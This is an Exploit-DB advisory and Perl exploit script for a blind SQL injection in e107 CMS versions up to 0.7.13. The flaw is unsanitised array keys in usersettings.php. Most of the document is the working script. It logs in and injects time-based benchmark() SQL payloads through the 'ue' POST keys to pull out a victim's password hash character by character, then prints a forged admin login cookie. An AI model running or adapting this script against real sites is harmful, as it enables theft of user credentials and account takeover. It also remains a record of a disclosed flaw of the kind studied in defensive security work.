e107 < 0.7.13 - 'usersettings.php' Blind SQL Injection

EDB-ID:

6791


Author:

girex

Type:

webapps


Platform:

PHP

Date:

2008-10-19


# Author:    __GiReX__	
# Homepage:  http://girex.altervista.org
# Date:      19/10/2008

# CMS:       e107
# URL:       http://e107.org/

# Note:	     Works regardless of php.ini settings (magic_quotes, register_globals..)

# Attenction: This exploit was written for educational purpose. 
# Use it at your own risk. Author will be not responsible for any damage.


# Description: e107 is a content management system written in PHP 
# and using the popular open source MySQL database system for content storage. 
# It's completely free, totally customisable and in constant development.


# Bug description:
# e107 presents a vuln in userssettings.php (line 363-395), a POST array ($_POST['ue'])
# goes into an update query, it cleans the values of this array but not the keys name...

# File: usersettings.php (line 363-395)
	if($_POST['ue'])
        ...
		foreach($_POST['ue'] as $key => $val)
			$err = $ue->user_extended_validate_entry($val,$extList[$key]);
			if(!$err)
			  $val = $tp->toDB($val);						   <== Cleans values
			  $ue_fields .= $key."='".$val."'";                <== Here our $_POST['ue'] keys and values
		}
    }
	...
# Lines: 496-500	

	if($ue_fields)
	{
        // ***** Next line creates a record which presumably should be there anyway, so could generate an error
		$sql->db_Select_gen("INSERT INTO #user_extended (user_extended_id, user_hidden_fields) values ('".intval($inp)."', '')");
		$sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'");  <== Here vulnearable query
	}

# As you can see the return value of the update query isn't checked so we have to use a blind benchmark() method



#!/usr/bin/perl 
# e107 <= 0.7.13 Blind SQL Injection Exploit
# Admin/User's Password Retrieve Exploit
# Works regardless of php.ini settings
# Coded by __GiReX__

use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;
use Digest::MD5  qw(md5 md5_hex md5_base64); 

if(@ARGV < 4)
{
    banner();
    print "[+] You need an user account to run this exploit\n\n";
    print "[+] Usage: perl $0 <host> <path> <your_username> <your_pass> <victim_id>\n";
    print "[+] Example: perl $0 localhost /e107/ test password 1\n";
    exit;
}

my $target  =  ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0].$ARGV[1]:  'http://' . $ARGV[0].$ARGV[1];
my ($user, $pass, $id) = ($ARGV[2], $ARGV[3], ($ARGV[4]) ? $ARGV[4] : 1);

my $lwp =  new LWP::UserAgent or die;
my $cookie_jar = new HTTP::Cookies or die;
$lwp->cookie_jar( $cookie_jar );

my @cset  =  (48..57, 97..102); 

my $benchmark = 1000000;
my $prefix = "e107";     
my $hash = "";

banner();
try_login($user, $pass) or die "[-] Unable to login with $user and $pass\n";

syswrite(STDOUT,      "[+] Logged in with your account..\n".
                      "[+] Checking database delay, please wait..\n\n" );

$ndelay = check_bench("1=0");
print STDOUT "[+] Normal delay: $ndelay\n";

$bdelay = check_bench("1=1");
print STDOUT "[+] Benchmark delay: $bdelay\n\n"; 

if($bdelay - $ndelay < 4)
{
    print STDOUT "[-] Benchmarck delay too small compared to normal delay, increase it.\n";
    exit ();
}

    
for(my $j = 1; $j <= 32; $j++)
{  
    foreach $char(@cset)
    {    
        info(chr($char), $hash, "password");
        
        my ($pre_time, $post_time) = time();
        $rv = check_char($char, $j, "user_password");    
        $post_time = time();
    
             if($rv and ($post_time - $pre_time) > ($ndelay + 3))
             {        
                 $hash .= chr($char);
                 last;
             }
    }
    
    last if $j != length($hash);
}    

if(not defined $hash or length($hash) != 32)
{
    print STDOUT "\n\n[-] Exploit mistake: please re-check benchmark\n";
    exit;
}
else
{
    print STDOUT "\n\n[+] You can try to login with this cookie:\n";
    print STDOUT "[+] Cookie: ${cookie_prefix}cookie=${id}.". md5_hex($hash)."\n";
}

sub try_login
{
   my ($user, $pass) = @_;   
     
     my $res = $lwp->post( $target.'news.php' , 
                                
                                [ 'username'  =>  $user,
                                  'userpass'  =>  $pass,
                                  'userlogin' =>  'Login',
                                  'autologin' =>  '1' ] );
                                  
     if($res->status_line =~ /^302|200|301/ or $res->is_success)
      {
          if($res->as_string =~ /Set-Cookie: (.+)cookie/)
          {
                $cookie_prefix = $1;
                return 1;
          }
          
          return undef;
      }
    
  die ("[-] Unable to request ${target}news.php ".$res->status_line."\n");
 }

sub info
{
  my($c, $cur, $str)  =  @_;
    
    $cur = '' unless defined $cur;
    print  STDOUT "[+] Victim ${str}: ${cur}${c}\r";
    
  $| = 1; 
}

sub check_bench
{
  my $true = shift;
  my $delay = 0;

    my $sql = "user_hidden_fields=99 AND CASE WHEN(${true}) THEN benchmark(${benchmark}, MD5(1)) END#";
       
    for(1..3)
    {
        my ($pre_time, $post_time) = time();  
    
        my $res = $lwp->post( $target.'usersettings.php',
                                [ 'email'  =>  'damn@email.com',
                                  'updatesettings' => 'Save Settings',
                                  "ue[${sql}]" => 'damn' ]);        
        $post_time = time();        
        
        $delay += int($post_time - $pre_time);
		}
        
  return ceil($delay / 3);
}

sub check_char
{
  my ($char, $n, $field)  =  @_ ;
  $rand = int($char + $n);
  
  my $sql = "user_hidden_fields=${rand} AND CASE WHEN(SELECT ASCII(SUBSTRING(${field},${n},1)) ".
            "FROM ${prefix}_user WHERE user_id=${id})=${char} THEN benchmark(${benchmark}, MD5(1)) END#";
       
    my $res = $lwp->post( $target.'usersettings.php',
                                [ 'email'  =>  'damn@email.com',
                                  'updatesettings' => 'Save Settings',
                                  "ue[${sql}]" => 'damn' ]);                    
        
  return $res->is_success;
}

sub banner
{
    print "\n";
    print "[+] e107 <= 0.7.13 Blind SQL Injection\n";
    print "[+] Admin/User's Password Retrieve Exploit\n";
    print "[+] Coded by __GiReX__\n";
    print "\n";
}

# milw0rm.com [2008-10-19]